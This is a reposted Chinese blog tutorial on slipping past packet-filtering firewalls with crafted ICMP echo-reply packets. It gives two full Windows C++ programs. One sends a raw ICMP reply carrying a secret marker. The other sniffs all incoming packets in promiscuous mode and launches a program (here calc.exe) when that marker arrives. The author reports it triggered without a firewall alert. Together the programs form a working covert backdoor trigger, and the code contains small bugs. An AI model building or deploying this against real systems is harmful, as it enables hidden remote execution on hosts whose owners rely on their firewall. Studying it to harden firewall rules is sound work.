ICMP穿透防火墙

来源:互联网 发布:淘宝网装修注意 编辑:程序博客网 时间:2024/05/08 00:05

注意:以下提到的防火墙都是指包过滤防火墙
ICMP协议大家还是应该经常接触到的,比如windows自带的ping程序就是利用ICMP协议来探测目标主机信息

ICMP协议的分析:
ICMP协议报头如下
TYPE | Code | Checksum | Identifier | Sequence Number | Data
TYPE :类型,表示ICMP的类型,比如:0=echo reply  8=echo
code:
Checksum:效验和,就是对整个ICMP头的效验
Identifier: 标识
Sequence Number:序列号
Data:数据

在回过头来看看
ping程序的原理
ping程序首先发送一个 ICMP echo类型的包到目标主机,如果目标主机返回一个ICMP echo replay包的话,那么就代表主机存活,然后根据时间差,以及IP报头的TTL把信息打印出来.在我们使用ping命令的时候会发现这样的现象,比如ping返回的是timeout,但是事实上目标主机却是存活的,这是因为防火墙把ICMP echo包给阻挡了,然而还有另外一个现象也应该注意,我们本机安装了防火墙,但是我们还是可以ping通其他的机子,比如202.115.23.129,这个说明防火墙对于我们出去的ICMP包是不拦截的,另外也说明了另外一个问题,也就是说防火墙是不阻挡ICMP echo reply 包的.
既然你不拦截,我们就可以做一些事情了哦!
下面的程序演示了如何利用ICMP echo reply来do something,只是为了验证正确性,如果想加入其他功能,可以要额外的维护一些东西,这里就不探讨了,有兴趣可以和我探讨一下
(在测试的时候请关闭发送ICMP ECHO REPLY主机的防火墙,不然包可能无法发出去)
程序描述:
icmp_reply.cpp的功能是利用原始套节字发送含有特征码的ICMP ECHO REPLY包到目的主机
icmp_recv.cpp的功能是利用原始套节字嗅探ICMP包,如果在ICMP包中有我们的特征码,那么运行一个计算器

//icmp_reply.cpp
//使用原始套节字发送ICMP ECHO REPLY
#include "winsock2.h"
#include "windows.h"
#include "stdio.h"

#pragma comment(lib,"ws2_32.lib")

// ICMP header
struct ICMPHEADER
{
 unsigned char i_type;
 unsigned char i_code;
 unsigned short i_cksum;
 unsigned short i_id;
 unsigned short i_seq;
 unsigned long i_timestamp;
 unsigned char i_data[28];
};

#define ICMP_ECHO 8     // ICMP回显请求报文的类型值为8 
#define ICMP_ECHOREPLY 0   // ICMP回显应答报文的类型值为0
int main()
{
 ICMPHEADER IcmpHeader;
 // 目标 IP 地址
 WORD wVersionRequested;
 WSADATA wsaData;
 
 WSAStartup( MAKEWORD(2,2), &wsaData);
 
 sockaddr_in addr;
 addr.sin_family = AF_INET;
 addr.sin_addr.S_un.S_addr = inet_addr("192.168.3.87");   //目的IP
 SOCKET sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);  //原始套节字
 if (sock == INVALID_SOCKET)     // 创建失败?
 {
  return 0;
 }
  
 memset((char *)&IcmpHeader,0,sizeof(IcmpHeader));
 IcmpHeader.i_type = ICMP_ECHOREPLY;  //echo
 IcmpHeader.i_code = 0;
 IcmpHeader.i_cksum = 0x0;
 IcmpHeader.i_id = (unsigned short)GetCurrentProcessId();
 IcmpHeader.i_seq =0;  ///?????
 IcmpHeader.i_timestamp = (unsigned long)::GetTickCount();
 
 memset(&IcmpHeader.i_data,'a',26);
 memcpy(&IcmpHeader.i_data,"gali*&",6); //特征码
 unsigned short *buf  = (unsigned short *)&IcmpHeader;
 
 
 //计算效验和
 int  nleft = sizeof(IcmpHeader);
 int  sum = 0;
 unsigned short answer = 0;
 
 while(nleft > 1) {
  sum = sum + *(buf++);
  nleft -= 2;
 }
 
 if(nleft == 1) {
  *(unsigned char*)(&answer) = *(unsigned char*)buf;
  sum += answer;
 }
 
 sum = (sum >> 16) + (sum & 0xffff);
 sum += (sum >> 16);
 answer = ~sum;
 
 
 IcmpHeader.i_cksum = answer;
 int re = sendto(sock, (char *)&IcmpHeader, sizeof(IcmpHeader), 0, (struct sockaddr*)&addr, sizeof(addr));

 if (re == SOCKET_ERROR ) {
  
  printf("send error/n");
 }

 closesocket(sock);
 WSACleanup();
 printf("发送完毕");
 
 return 1;
}

 

 

//icmp_recv.cpp
//监听ICMP包,如果ICMP包中有我们自定义的信息,启动一个计算器
#include "winsock2.h"
#include "windows.h"
#include "stdio.h"
//#include
#pragma comment(lib,"ws2_32.lib")

#define SIO_RCVALL            _WSAIOW(IOC_VENDOR,1)
HANDLE hEvent;     //线程结束标志

// ICMP header
struct ICMPHEADER
{
 unsigned char i_type;
 unsigned char i_code;
 unsigned short i_cksum;
 unsigned short i_id;
 unsigned short i_seq;
 unsigned long i_timestamp;
 unsigned char i_data[28];
};
typedef ICMPHEADER* LPICMPHEADER;

#define ICMP_ECHO 8     // ICMP回显请求报文的类型值为8 
#define ICMP_ECHOREPLY 0   // ICMP回显应答报文的类型值为0


struct IPHEADER             // 定义 IP 首部
{
    BYTE   h_verlen;        // 4 位首部长度,4 位 IP 版本号
    BYTE   tos;             // 8 位服务类型 TOS
    USHORT total_len;       // 16 位总长度(字节)
    USHORT ident;           // 16 位标识
    USHORT frag_and_flags;  // 3 位标志位(如 SYN,ACK,等)
    BYTE   ttl;             // 8 位生存时间 TTL
    BYTE   proto;           // 8 位协议(如 ICMP,TCP 等)
    USHORT checksum;        // 16 位 IP 首部校验和
    UINT   sourceIP;        // 32 位源 IP 地址
    UINT   destIP;          // 32 位目的 IP 地址
};

typedef IPHEADER* LPIPHEADER;


int ThreadRecv(LPVOID lpParam)
{
 DWORD dwIP = *(DWORD*)lpParam; //传过来的参数
 char RecvBuf[100];    //接受数据的缓冲区
 printf("%d   OK!/n",dwIP);      //验证线程已经开启

 // 创建原始套接字用于获取发送给本机的网络数据包
 SOCKET sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
 if (sock == INVALID_SOCKET)     // 创建失败?
 {
  printf("创建socket失败/n");
  return 0;
 }
 
 // 必须将套接字绑定到本机的某一端口上才能获取所有发送给本机的数据包
 sockaddr_in addr;
 addr.sin_family           = AF_INET;
 addr.sin_port             = INADDR_ANY;
 addr.sin_addr.S_un.S_addr = dwIP;
 if (bind(sock, (sockaddr*)&addr, sizeof(addr)))     // 绑定失败
 {
  closesocket(sock);
  printf("bind失败/n");
  return 0;
 }
 
 // 设置套接字表示接收所有数据包
 DWORD dwIn = 1, dwRet;
 DWORD dwBufferLen;
 if (WSAIoctl(sock, SIO_RCVALL, &dwIn, sizeof(dwIn),
    &dwBufferLen, sizeof(dwBufferLen), &dwRet, NULL, NULL))   // 设置失败
 {
  closesocket(sock);
  printf("WSAIoctl失败/n");
  return 0;
 }
 
 
 while (WaitForSingleObject(hEvent,0) == WAIT_TIMEOUT) { // 循环直到结束信号on
  
  // 接收是否超时
  timeval TimeOut;
  TimeOut.tv_sec = 2;
  TimeOut.tv_usec = 0;
  FD_SET fdset;
  
  // 判断接收是否超时
  FD_ZERO(&fdset);
  FD_SET(sock, &fdset);
  if (select(0, &fdset, NULL, NULL, &TimeOut) <= 0)
   continue;
  // 接收失败
  if (recv(sock, RecvBuf, sizeof(RecvBuf), 0) <= 0)
   continue;
  LPIPHEADER pIpHeader = (LPIPHEADER)RecvBuf;
  LPICMPHEADER  pIcmpHeader  = (LPICMPHEADER)(RecvBuf+sizeof(IPHEADER));
  
  if (pIpHeader->proto != 1) { //判断是否是ICMP协议
   continue;
  }
  if (memcmp(pIcmpHeader->i_data,"gali*&",6) == 0)
  {
   WinExec("calc.exe",SW_SHOW); //启动计算器做测试
   SetEvent(hEvent); //发出结束信号
   //return 1;
  }
  
 }
 return 0;
}
int main()
{
 WSADATA wsaData;
  
 WSAStartup( MAKEWORD(2,2), &wsaData);

 char name[MAX_PATH] = {0};
 if (gethostname(name, MAX_PATH) != 0)   // 获取失败?
 {
  printf("gethostname/n");
  return 1;
 }

 hostent* pHost = gethostbyname(name);
 int nChild = 0;
 unsigned long ulLocalIP;
 HANDLE hThread[64];
 hEvent = CreateEvent(NULL,TRUE,FALSE,NULL);     //结束标志
 while (pHost->h_addr_list[nChild] != NULL)      // 如果 IP 地址表中的 IP 未枚举完
 {
  ulLocalIP = *(ULONG*)pHost->h_addr_list[nChild];
  //启动监听线程
  hThread[nChild] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadRecv,&ulLocalIP,0,NULL);
  Sleep(100); //简单等待线程函数读取参数
  nChild++;
 }
 
 WaitForMultipleObjects(nChild, hThread, TRUE, INFINITE); //直到所有线程返回
 printf("所有线程都已经返回!/n")
 return 1;
}


本程序在 vc 6.0+ xp下面测试成功,防火墙为 天网,没有发出警告

最后再提一下为什么仅仅包过滤的防火墙才可以穿透呢,包过滤的防火墙不检测通信的状态,比如我用ping命令ping目标主机,这个就是状态,基于状态的防火墙会做一个记录,也就是在一定时段内,回应的 ICMP ECHO REPLY 才让通过,不然就kill. 这里稍微分析一下,没有做过具体的测试,有兴趣的可以测试,欢迎交流

文章出自:http://galihoo.bokee.com/6059514.html 
原创粉丝点击